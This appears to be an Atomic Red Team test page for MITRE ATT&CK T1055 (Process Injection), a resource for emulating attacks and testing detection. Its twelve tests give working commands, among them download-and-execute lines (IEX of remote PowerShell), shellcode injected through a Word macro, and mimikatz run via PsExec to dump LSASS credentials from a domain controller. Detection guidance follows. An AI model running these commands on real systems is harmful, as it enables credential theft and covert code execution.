T1055 - Process Injection#
Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.
More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
Atomic Tests#
Atomic Test #1 - Shellcode execution via VBA#
This module injects shellcode into a newly created process and executes. By default the shellcode is created, with Metasploit, for use on x86-64 Windows 10 machines.
Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office is required.
Supported Platforms: windows
Dependencies: Run with powershell
!#
Description: The 64-bit version of Microsoft Office must be installed#
Check Prereq Commands:#
try {
$wdApp = New-Object -COMObject "Word.Application"
$path = $wdApp.Path
Stop-Process -Name "winword"
if ($path.contains("(x86)")) { exit 1 } else { exit 0 }
} catch { exit 1 }
Get Prereq Commands:#
Write-Host "You will need to install Microsoft Word (64-bit) manually to meet this requirement"
Description: “#{txt_path}” must exist on disk at specified location#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\T1055\src\x64\T1055-macrocode.txt") {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory (split-path "PathToAtomicsFolder\T1055\src\x64\T1055-macrocode.txt") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt" -OutFile "PathToAtomicsFolder\T1055\src\x64\T1055-macrocode.txt" -UseBasicParsing
Invoke-AtomicTest T1055 -TestNumbers 1 -GetPreReqs
Attack Commands: Run with powershell
#
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1055\src\x64\T1055-macrocode.txt" -officeProduct "Word" -sub "Execute"
Invoke-AtomicTest T1055 -TestNumbers 1
Atomic Test #2 - Remote Process Injection in LSASS via mimikatz#
Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).
Especially useful against domain controllers in Active Directory environments.
It must be executed in the context of a user who is privileged on remote machine
.
The effect of /inject
is explained in https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html
Supported Platforms: windows
Elevation Required (e.g. root or admin)
Dependencies: Run with powershell
!#
Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})#
Check Prereq Commands:#
$mimikatz_path = cmd /c echo %tmp%\mimikatz\x64\mimikatz.exe
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
Get Prereq Commands:#
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases -UseBasicParsing | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$mimikatz_exe = cmd /c echo %tmp%\mimikatz\x64\mimikatz.exe
$basePath = Split-Path $mimikatz_exe | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1}
Get Prereq Commands:#
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" -UseBasicParsing
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
Invoke-AtomicTest T1055 -TestNumbers 2 -GetPreReqs
Attack Commands: Run with command_prompt
#
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" /accepteula \\DC1 -c %tmp%\mimikatz\x64\mimikatz.exe "lsadump::lsa /inject /id:500" "exit"
Invoke-AtomicTest T1055 -TestNumbers 2
Atomic Test #3 - Section View InjectionThis test creates a section object in the local process followed by a local section view.#
The shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view.
A thread is then created in the target process, using the remote section view as start address.
Supported Platforms: windows#### Attack Commands: Run with powershell
$notepad = Start-Process notepad -passthru
Start-Process "$PathToAtomicsFolder\T1055\bin\x64\InjectView.exe"
Invoke-AtomicTest T1055 -TestNumbers 3
Cleanup:#
Stop-Process $notepad.pid```
Invoke-AtomicTest T1055 -TestNumbers 3 -Cleanup
Atomic Test #4 - Dirty Vanity process InjectionThis test used the Windows undocumented remote-fork API RtlCreateProcessReflection to create a cloned process of the parent process#
with shellcode written in its memory. The shellcode is executed after being forked to the child process. The technique was first presented at
BlackHat Europe 2022. Shellcode will open a messsage box and a notepad.
Supported Platforms: windows
Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell
Start-Process "$PathToAtomicsFolder\T1055\bin\x64\redVanity.exe" (Start-Process calc.exe -PassThru).Id
Invoke-AtomicTest T1055 -TestNumbers 4
Cleanup:#
Get-Process -Name calc, CalculatorApp -ErrorAction SilentlyContinue | Stop-Process -Force```
Invoke-AtomicTest T1055 -TestNumbers 4 -Cleanup
Atomic Test #5 - Read-Write-Execute process Injection#
This test exploited the vulnerability in legitimate PE formats where sections have RWX permission and enough space for shellcode. The RWX injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory, thus evading detection mechanisms that relied on API call sequences and heuristics. The RWX injection utilises API call sequences: LoadLibrary –> GetModuleInformation –> GetModuleHandleA –> RtlCopyMemory –> CreateThread. The injected shellcode will open a message box and a notepad. RWX Process Injection, also known as MockingJay, was introduced to the security community by SecurityJoes. More details can be found at https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution. The original injector and idea were developed for game cheats, as visible at M-r-J-o-h-n/SWH-Injector.
Supported Platforms: windows
Elevation Required (e.g. root or admin)
Dependencies: Run with powershell
!#
Description: Utility to inject must exist on disk at specified location (#{vuln_dll})#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\T1055\bin\x64\vuln_dll\msys-2.0.dll") {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory (split-path "PathToAtomicsFolder\T1055\bin\x64\vuln_dll\msys-2.0.dll") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/bin/x64/vuln_dll/msys-2.0.dll" -OutFile "PathToAtomicsFolder\T1055\bin\x64\vuln_dll\msys-2.0.dll"
Invoke-AtomicTest T1055 -TestNumbers 5 -GetPreReqs
Attack Commands: Run with powershell
#
$address = (& "$PathToAtomicsFolder\T1055\bin\x64\searchVuln.exe" "$PathToAtomicsFolder\T1055\bin\x64\vuln_dll\" | Out-String | Select-String -Pattern "VirtualAddress: (\w+)").Matches.Groups[1].Value
& "PathToAtomicsFolder\T1055\bin\x64\RWXinjectionLocal.exe" "PathToAtomicsFolder\T1055\bin\x64\vuln_dll\msys-2.0.dll" $address
Invoke-AtomicTest T1055 -TestNumbers 5
Cleanup:#
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force```
Invoke-AtomicTest T1055 -TestNumbers 5 -Cleanup
Atomic Test #6 - Process Injection with Go using UuidFromStringA WinAPIUses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA.#
With this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread
PoC Credit: (Ne0nd0g/go-shellcode)
References:
https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
https://twitter.com/CPResearch/status/1352310521752662018
https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with
powershell
$PathToAtomicsFolder\T1055\bin\x64\UuidFromStringA.exe -debug
Invoke-AtomicTest T1055 -TestNumbers 6
Cleanup:#
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Invoke-AtomicTest T1055 -TestNumbers 6 -Cleanup
Atomic Test #7 - Process Injection with Go using EtwpCreateEtwThread WinAPIUses EtwpCreateEtwThread function from ntdll.dll to execute shellcode within the application’s process.#
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
Steps taken with this technique
Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
Change the memory page permissions to Execute/Read with VirtualProtect
Call EtwpCreateEtwThread on shellcode address
Call WaitForSingleObject so the program does not end before the shellcode is executed
PoC Credit: (Ne0nd0g/go-shellcode)
References:
https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3
https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with
powershell
$PathToAtomicsFolder\T1055\bin\x64\EtwpCreateEtwThread.exe -debug
Invoke-AtomicTest T1055 -TestNumbers 7
Cleanup:#
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Invoke-AtomicTest T1055 -TestNumbers 7 -Cleanup
Atomic Test #8 - Remote Process Injection with Go using RtlCreateUserThread WinAPIExecutes shellcode in a remote process.#
Steps taken with this technique
Get a handle to the target process
Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
Change the memory page permissions to Execute/Read with VirtualProtectEx
Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread
Close the handle to the remote process
PoC Credit: (Ne0nd0g/go-shellcode)
References:
https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with
powershell
$process = Start-Process C:\Windows\System32\werfault.exe -passthru
$PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug
Invoke-AtomicTest T1055 -TestNumbers 8
Cleanup:#
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name werfault -ErrorAction SilentlyContinue
Invoke-AtomicTest T1055 -TestNumbers 8 -Cleanup
Atomic Test #9 - Remote Process Injection with Go using CreateRemoteThread WinAPILeverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process.#
This application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess().
Steps taken with this technique
Get a handle to the target process
Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
Change the memory page permissions to Execute/Read with VirtualProtectEx
Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
Close the handle to the remote process
PoC Credit: (Ne0nd0g/go-shellcode)
References:
https://www.ired.team/offensive-security/code-injection-process-injection/process-injection Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with
powershell
$process = Start-Process C:\Windows\System32\werfault.exe -passthru
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug
Invoke-AtomicTest T1055 -TestNumbers 9
Cleanup:#
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name werfault -ErrorAction SilentlyContinue
Invoke-AtomicTest T1055 -TestNumbers 9 -Cleanup
Atomic Test #10 - Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively)Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process.#
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
Get a handle to the target process
Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
Change the memory page permissions to Execute/Read with VirtualProtectEx
Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
Close the handle to the remote process
PoC Credit: (Ne0nd0g/go-shellcode) Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with
powershell
$process = Start-Process C:\Windows\System32\werfault.exe -passthru
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug
Invoke-AtomicTest T1055 -TestNumbers 10
Cleanup:#
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name werfault -ErrorAction SilentlyContinue
Invoke-AtomicTest T1055 -TestNumbers 10 -Cleanup
Atomic Test #11 - Process Injection with Go using CreateThread WinAPIThis program executes shellcode in the current process using the following steps#
Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
Change the memory page permissions to Execute/Read with VirtualProtect
Call CreateThread on shellcode address
Call WaitForSingleObject so the program does not end before the shellcode is executed
This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them
PoC Credit: (Ne0nd0g/go-shellcode) Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with
powershell
$PathToAtomicsFolder\T1055\bin\x64\CreateThread.exe -debug
Invoke-AtomicTest T1055 -TestNumbers 11
Cleanup:#
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Invoke-AtomicTest T1055 -TestNumbers 11 -Cleanup
Atomic Test #12 - Process Injection with Go using CreateThread WinAPI (Natively)This program executes shellcode in the current process using the following steps#
Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
Change the memory page permissions to Execute/Read with VirtualProtect
Call CreateThread on shellcode address
Call WaitForSingleObject so the program does not end before the shellcode is executed
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
PoC Credit: (Ne0nd0g/go-shellcode) Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with
powershell
$PathToAtomicsFolder\T1055\bin\x64\CreateThreadNative.exe -debug
Invoke-AtomicTest T1055 -TestNumbers 12
Cleanup:#
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue```
Invoke-AtomicTest T1055 -TestNumbers 12 -Cleanup
Detection#
Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread
, SuspendThread
/SetThreadContext
/ResumeThread
, QueueUserAPC
/NtQueueApcThread
, and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)
Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
Shield Active Defense#
Security Controls#
Alter security controls to make the system more or less vulnerable to attack.
Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.
Opportunity#
In an adversary engagement scenario, there is an opportunity to implement security controls to support your defensive objectives over a prolonged engagement.
Use Case#
A defender could implement security controls to have an effect on process injection techniques such as AppLocker or an Antivirus/EDR tool designed to watch for CreateRemoteThread events.
Procedures#
Weaken security controls on a system to allow for leaking of credentials via network connection poisoning. Implement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.